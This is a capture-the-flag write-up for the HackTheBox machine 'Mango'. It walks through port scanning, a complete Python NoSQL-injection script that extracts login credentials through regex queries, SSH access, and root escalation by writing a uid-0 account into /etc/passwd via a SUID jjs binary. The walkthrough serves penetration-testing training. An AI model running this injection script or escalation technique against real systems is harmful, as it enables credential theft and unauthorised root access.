Nmap
Port 443
SSLScan
Exploitation
Password cracking
Post exploitation
Privilege escalation: admin to root
Enumeration
SUID
Exploitation
Welcome to the Mango writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k
Mango
tags: HTB
Medium
Linux
OSCP
Platform: Hackthebox
Difficult: Medium
S.O.: Linux
Link: Click here
Enumeration
Nmap
To get started, we run a quick open ports scan.
$ nmap -Pn -T4 -p- mango.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 20:19 CEST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.089s latency).
Not shown: 65527 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
111/tcp filtered rpcbind
443/tcp open https
1025/tcp filtered NFS-or-IIS
25117/tcp filtered unknown
43154/tcp filtered unknown
53643/tcp filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 112.32 seconds
Now that we know the open ports, let's scan them in depth.
$ nmap -A -Pn -p 22,80,111,443,1025,25117,43154,53643 mango.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 20:21 CEST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.089s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
111/tcp closed rpcbind
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
1025/tcp closed NFS-or-IIS
25117/tcp closed unknown
43154/tcp closed unknown
53643/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=7/4%OT=22%CT=111%CU=40004%PV=Y%DS=2%DC=T%G=Y%TM=60E1FC
OS:57%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 43154/tcp)
HOP RTT ADDRESS
1 88.39 ms 10.10.14.1
2 88.52 ms mango.htb (10.10.10.162)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.92 seconds
Port 443
Inside port 443 we find a website like Google!
SSLScan
Enumerating the SSL sert we can find the subdomain staging-order.mango.htb
.
$ sslscan https://mango.htb
[...]
SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength: 2048
Subject: staging-order.mango.htb
Issuer: staging-order.mango.htb
Not valid before: Sep 27 14:21:19 2019 GMT
Not valid after: Sep 26 14:21:19 2020 GMT
Exploitation
Password cracking
In the access form of the subdomain staging-order.mango.htb
if we login with a wrong user it shows the same as if we do not enter anything so we can deduce that if we match the credentials we will get a 302 Found
so maybe work with NoSQL
. Let's try to extract the password using REGEX
.
import string, re, sys, requests
s = requests.session()
url = "http://staging-order.mango.htb:80/"
cookies = {"PHPSESSID": "f08mrkdeqcpkr9vsamb07rjasb"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://staging-order.mango.htb/", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
clear = "\033[F\033[K"
def getCharset(possition):
charset = []
for char in string.printable:
if possition == 'username':
data = {"username[$regex]": ".*"+char+".*", "password[$ne]": "password", "login": "login"}
else:
data = {"username[$ne]": "username", "password[$regex]": ".*"+char+".*", "login": "login"}
r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
if r.status_code == 302:
charset.append(char)
return charset
def getUsernameLength(s, url, cookies, headers, char):
length = 0
for i in range(1, 500):
print('{clear}Trying username length starting with "{char}": {len}'.format(clear=clear, char=char, len=i))
data = {"username[$regex]": "^"+char+"[\w|\W|\d|\D]{"+str(i)+"}", "password[$ne]": "password", "login": "login"}
r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
if r.status_code != 302:
length = i
break
print('{clear}Username length starting with "{char}" found: {len}\n'.format(clear=clear, char=char, len=length))
return length
def getUsernames(s, url, cookies, headers):
print('{clear}Getting usernames charset...'.format(clear=clear))
uCharset = getCharset('username')
print('{clear}Getting passwords charset...'.format(clear=clear))
pCharset = getCharset('password')
for uChar in uCharset:
if uChar != '':
print('{clear}Trying username start with: {ch}'.format(clear=clear, ch=uChar))
data = {"username[$regex]": "^"+re.escape(uChar)+".*", "password[$ne]": "password", "login": "login"}
r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
if r.status_code == 302:
length = getUsernameLength(s, url, cookies, headers, uChar)
username = uChar
for i in range(1, length):
found = False
for pChar in uCharset:
print('{clear}Trying username "{user}"'.format(clear=clear, user=username+pChar))
data = {"username[$regex]": "^"+re.escape(username+pChar)+".*", "password[$ne]": "password", "login": "login"}
r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
if r.status_code == 302:
username += pChar
found = True
break
if not found:
break
getPasword(s, url, cookies, headers, username, pCharset)
def getPasswordLength(s, url, cookies, headers, username):
length = 0
for i in range(1, 500):
print('{clear}Trying password length {len} for username "{user}"'.format(clear=clear, len=i, user=username))
data = {"username": username, "password[$regex]": "^[\w|\W|\d|\D]{"+str(i)+"}", "login": "login"}
r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
if r.status_code != 302:
length = i
break
print('{clear}Password length for username "{user}" found: {len}\n'.format(clear=clear, user=username, len=length))
return length
def getPasword(s, url, cookies, headers, username, pCharset):
length = getPasswordLength(s, url, cookies, headers, username)
passwd = ''
for i in range(1, length):
found = False
for char in pCharset:
print('{clear}Trying password {passAct} for username {user}'.format(clear=clear, passAct=passwd+char, user=username))
data = {"username": username, "password[$regex]": "^"+re.escape(passwd+char)+".*", "login": "login"}
r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
if r.status_code == 302:
passwd += char
found = True
break
if not found:
break
print('{clear}Username: {user} - Password: {passw}\n'.format(clear=clear+clear+clear, user=username, passw=passwd))
print('\n')
getUsernames(s, url, cookies, headers)
print(clear)
$ python3 noSQLi2.py
Username: admin - Password: t9KcS3>!0B#2
Username: mango - Password: h3mXK8RhU~f{]f5H
Cool! We already have two credentials. As we could see in the Nmap
scanner, SSH is active so, let's try to connect with them.
$ ssh mango@mango.htb
mango@mango.htb`s password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Jul 18 07:09:34 UTC 2021
System load: 0.0 Processes: 97
Usage of /: 25.8% of 19.56GB Users logged in: 0
Memory usage: 13% IP address for ens33: 10.10.10.162
Swap usage: 0%
* Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.
https://ubuntu.com/kubernetes/docs/release-notes
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
122 packages can be updated.
18 updates are security updates.
Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138
mango@mango:~$ id
uid=1000(mango) gid=1000(mango) groups=1000(mango)
mango@mango:~$
mango@mango:~$ cd ..
mango@mango:/home$ ls
admin mango
mango@mango:/home$ cd admin/
mango@mango:/home/admin$ ls
user.txt
The user flag has the user admin
. Let's access with it.
$ ssh admin@mango.htb
admin@mango.htb's password:
Permission denied, please try again.
Ouch, we can not access by SSH as admin
, may have restricted SSH access. We try doing su
mango@mango:~$ su admin
Password:
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ cat user.txt
cat: user.txt: No such file or directory
$ /bin/bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@mango:/home/mango$ cd
admin@mango:/home/admin$ cat user.txt
27e629a497c2d0b2358da632bc1c7662
admin@mango:/home/admin$
Now yes, we have access as admin
and we can read the user flag!
Post exploitation
Privilege escalation: admin to root
Enumeration
SUID
admin@mango:/home/admin$ find / -perm /4000 2>/dev/null
[...]
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
[...]
admin@mango:/home/admin$
As we can see, we can run a console jjs
with privileges root
.
And if we look in the official documentation, we see that we can run System Commands if we access jjs
with Active scripting
mode.
Exploitation
admin@mango:/home/admin$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs -scripting
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> $EXEC("id")
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
jjs> $EXEC("cat /root/root.txt")
3f5697c9e39179bc95f552af942c6ed0
Nice!, Now we have the root flag but, let's try to take full control of the box becoming roo, right?
Let's try to inject a privileged user in the file /etc/passwd
.
admin@mango:/home/admin$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs -scripting
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var FileWriter=Java.type("java.io.FileWriter");
jjs> var Files = Java.type('java.nio.file.Files');
jjs> var Paths = Java.type('java.nio.file.Paths');
jjs> var content = new java.lang.String(Files.readAllBytes(Paths.get("/etc/passwd")));
jjs> var fw = new FileWriter("/etc/passwd");
jjs> fw.write(content + "x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash\n");
jjs> fw.close();
jjs>
admin@mango:/home/admin$
We are going to check if it has been injected...
admin@mango:/home/admin$ tail -n 2 /etc/passwd
mongodb:x:111:65534::/home/mongodb:/usr/sbin/nologin
x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash
And we are going to authenticate us with it!
admin@mango:/home/admin$ su x4v1l0k
Password:
root@mango:~# id
uid=0(root) gid=0(root) groups=0(root)
root@mango:~#